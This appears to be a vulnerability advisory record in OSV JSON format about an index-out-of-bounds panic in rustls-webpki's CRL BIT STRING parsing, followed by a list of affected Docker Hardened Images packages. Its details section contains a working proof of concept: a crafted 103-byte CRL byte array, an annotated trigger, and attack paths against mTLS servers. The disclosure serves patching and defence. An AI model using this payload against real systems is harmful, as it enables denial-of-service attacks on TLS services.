{"id":"DHI-jyc6-ntie-6s4z-knxh","summary":"### Summary","details":"### Summary\n\n`bit_string_flags()` in `src/der.rs` panics with an index-out-of-bounds when given a BIT STRING whose content is exactly `[0x00]` (one byte: zero padding bits, zero data bytes). This is reachable through the public API `BorrowedCertRevocationList::from_der()` via the `issuingDistributionPoint` CRL extension.\n\n**Precondition**: CRL checking is opt-in in rustls-webpki. This vulnerability affects only applications that explicitly pass `RevocationOptions` to `verify_for_usage()` and load CRL bytes from a source the attacker can influence. The default rustls configuration (no `RevocationOptions`) is not affected.\n\n\u003e **AI disclosure**: This report was prepared with AI assistance (Claude). The vulnerability was discovered by differential fuzzing against a formally-verified Rust oracle. All technical claims have been independently verified against the live source code before submission.\n\n### Details\n`bit_string_flags()` in `src/der.rs` reads the content of named-bit BIT\nSTRINGs (KeyUsage, ReasonFlags, etc.). Its input guard:\n\n```rust\nif padding_bits \u003e 7 || (raw_bits.is_empty() && padding_bits != 0) {\n    return Err(Error::BadDer);\n}\nlet last_byte = raw_bits[raw_bits.len() - 1];  // ← crash\n```\nmisses the case `padding_bits == 0 && raw_bits.is_empty()`.\nWhen a BIT STRING has content `[0x00]`  (one padding-bits byte set to zero, no data bytes):\n- padding_bits = 0x00 — passes the \u003e 7 check ✓\n- raw_bits = [] — passes is_empty() && != 0 check ✓ (because 0 != 0 is false)\n- raw_bits.len() - 1 = 0usize - 1 = underflow → usize::MAX\n- raw_bits[usize::MAX] → panic\n\n\nDebug:   thread 'main' panicked: attempt to subtract with overflow\nRelease: thread 'main' panicked: index out of bounds: the len is 0\n         but the index is 18446744073709551615\n\n### PoC\nCargo.toml:\n```\n[dependencies]\nrustls-webpki = \"0.102.8\"   # also reproduces on 0.103.12\n```\nsrc/main.rs:\n```\nfn main() {\n    let crl: &[u8] = &[\n        0x30, 0x65, 0x30, 0x50, 0x02, 0x01, 0x01, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x30, 0x0c, 0x31, 0x0a, 0x30, 0x08, 0x06, 0x03, 0x55, 0x04, 0x03,\n        0x13, 0x01, 0x41, 0x17, 0x0d, 0x32, 0x30, 0x30, 0x31, 0x30, 0x31,\n        0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a, 0x17, 0x0d, 0x32, 0x31,\n        0x30, 0x31, 0x30, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5a,\n        0xa0, 0x10, 0x30, 0x0e, 0x30, 0x0c, 0x06, 0x03, 0x55, 0x1d, 0x1c,\n        0x04, 0x05, 0x30, 0x03, 0x83, 0x01, 0x00, 0x30, 0x0d, 0x06, 0x09,\n        0x2a, 0x86, 0x48, 0x86, 0xf7, 0x0d, 0x01, 0x01, 0x0b, 0x05, 0x00,\n        0x03, 0x02, 0x00, 0x00,\n    ];\n    // Panics — never returns\n    let _ = webpki::BorrowedCertRevocationList::from_der(crl);\n}\n```\noutput:\n```\nthread 'main' panicked at src/der.rs:...\nindex out of bounds: the len is 0 but the index is 18446744073709551615\n```\n#### Trigger\n```\na0 10            -- cRLExtensions [0] EXPLICIT\n  30 0e          -- SEQUENCE OF Extension\n    30 0c        -- Extension SEQUENCE\n      06 03 55 1d 1c   -- OID 2.5.29.28 (id-ce-issuingDistributionPoint)\n      04 05            -- OCTET STRING (extnValue)\n        30 03          -- IssuingDistributionPoint SEQUENCE\n          83 01 00     -- [3] onlySomeReasons: BIT STRING, len=1, content=0x00\n                       --   padding_bits=0, data=[]  ← TRIGGER\n```\n\n\n### Impact\n- Who is affected: \nApplications that (1) use rustls-webpki with CRL\nrevocation checking explicitly enabled via RevocationOptions, and (2)\nload CRL bytes from a source an attacker can influence.\n- Attack paths:\n    - mTLS server (most realistic): An attacker obtains any certificate from a CA that permits custom CDP URLs — common in enterprise PKI. They set the CDP to a server they control, serve the 103-byte crafted CRL, and connect to the target. The server fetches the attacker's CRL during the handshake and panics. No MITM required.\n    - TLS client with server-cert CRL checking: An attacker who can MITM an HTTP CRL distribution point (ARP/DNS poisoning on a local network) serves the crafted CRL in place of the legitimate one.","modified":"2026-11-21T14:16:02.078934560Z","published":"2026-11-10T05:12:30Z","upstream":["GHSA-82j2-j2ch-gfr8"],"references":[{"type":"ADVISORY","url":"https://scout.docker.com/v/DHI-jyc6-ntie-6s4z-knxh"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-82j2-j2ch-gfr8"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0104.html"},{"type":"ADVISORY","url":"https://github.com/rustls/webpki/security/advisories/GHSA-82j2-j2ch-gfr8"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0104"}],"affected":[{"package":{"name":"amazon-efs-utils-3-fips","ecosystem":"Docker Hardened Images:Alpine:3.24","purl":"pkg:apk/dhi/amazon-efs-utils-3-fips"},"versions":["3.3.3-r1","3.3.3-r2","3.3.4-r0","3.3.4-r1","3.3.4-r2","3.3.5-r0","3.3.5-r1","3.3.5-r2","3.3.5-r3","3.3.5-r4","3.4.0-r0","3.4.0-r1","3.4.0-r2","3.4.0-r3","3.4.0-r4","3.4.0-r5","3.4.0-r6","3.4.0-r7"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-jyc6-ntie-6s4z-knxh.json"}},{"package":{"name":"amazon-efs-utils-3","ecosystem":"Docker Hardened Images:Alpine:3.24","purl":"pkg:apk/dhi/amazon-efs-utils-3"},"versions":["3.3.3-r1","3.3.3-r2","3.3.4-r0","3.3.4-r1","3.3.4-r2","3.3.5-r0","3.3.5-r1","3.3.5-r2","3.3.5-r3","3.3.5-r4","3.4.0-r0","3.4.0-r1","3.4.0-r2","3.4.0-r3","3.4.0-r4","3.4.0-r5","3.4.0-r6","3.4.0-r7"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-jyc6-ntie-6s4z-knxh.json"}},{"package":{"name":"vaultwarden-1","ecosystem":"Docker Hardened Images:Alpine:3.24","purl":"pkg:apk/dhi/vaultwarden-1"},"versions":["1.37.3-r0","1.37.4-r0","1.37.5-r0"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-jyc6-ntie-6s4z-knxh.json"}},{"package":{"name":"amazon-efs-utils-3-fips","ecosystem":"Docker Hardened Images:Debian:13","purl":"pkg:deb/dhi/amazon-efs-utils-3-fips"},"versions":["3.3.3-0","3.3.3-1","3.3.3-2","3.3.4-0","3.3.4-1","3.3.4-2","3.3.5-0","3.3.5-1","3.3.5-2","3.3.5-3","3.3.5-4","3.4.0-0","3.4.0-1","3.4.0-10","3.4.0-11","3.4.0-12","3.4.0-13","3.4.0-14","3.4.0-15","3.4.0-16","3.4.0-17","3.4.0-18","3.4.0-19","3.4.0-2","3.4.0-3","3.4.0-4","3.4.0-5","3.4.0-6","3.4.0-7","3.4.0-8","3.4.0-9"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-jyc6-ntie-6s4z-knxh.json"}},{"package":{"name":"amazon-efs-utils-3","ecosystem":"Docker Hardened Images:Debian:13","purl":"pkg:deb/dhi/amazon-efs-utils-3"},"versions":["3.3.3-0","3.3.3-1","3.3.3-2","3.3.4-0","3.3.4-1","3.3.4-2","3.3.5-0","3.3.5-1","3.3.5-2","3.3.5-3","3.3.5-4","3.4.0-0","3.4.0-1","3.4.0-10","3.4.0-11","3.4.0-12","3.4.0-13","3.4.0-14","3.4.0-15","3.4.0-16","3.4.0-17","3.4.0-18","3.4.0-19","3.4.0-2","3.4.0-3","3.4.0-4","3.4.0-5","3.4.0-6","3.4.0-7","3.4.0-8","3.4.0-9"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-jyc6-ntie-6s4z-knxh.json"}},{"package":{"name":"influxdb3-3.10","ecosystem":"Docker Hardened Images:Debian:13","purl":"pkg:deb/dhi/influxdb3-3.10"},"versions":["3.10.6-0","3.10.6-1"],"database_specific":{"source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-jyc6-ntie-6s4z-knxh.json","owner_kind":"HSP"}},{"package":{"name":"influxdb3-3.11","ecosystem":"Docker Hardened Images:Debian:13","purl":"pkg:deb/dhi/influxdb3-3.11"},"versions":["3.11.10-0","3.11.10-1","3.11.8-0"],"database_specific":{"owner_kind":"HSP","source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-jyc6-ntie-6s4z-knxh.json"}},{"package":{"name":"vaultwarden-1","ecosystem":"Docker Hardened Images:Debian:13","purl":"pkg:deb/dhi/vaultwarden-1"},"versions":["1.37.3-0","1.37.4-0","1.37.4-1","1.37.5-0","1.37.5-1","1.37.5-2","1.37.5-3","1.37.5-4"],"database_specific":{"source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-jyc6-ntie-6s4z-knxh.json","owner_kind":"HSP"}},{"package":{"name":"vector","ecosystem":"Docker Hardened Images:Debian:13","purl":"pkg:deb/dhi/vector"},"versions":["0.58.0-0","0.59.0-0","0.60.0-0","0.61.0-0","0.62.0-0","0.62.0-1"],"database_specific":{"source":"https://github.com/docker-hardened-images/advisories/blob/main/dhi/osv/2026/DHI-jyc6-ntie-6s4z-knxh.json","owner_kind":"HSP"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}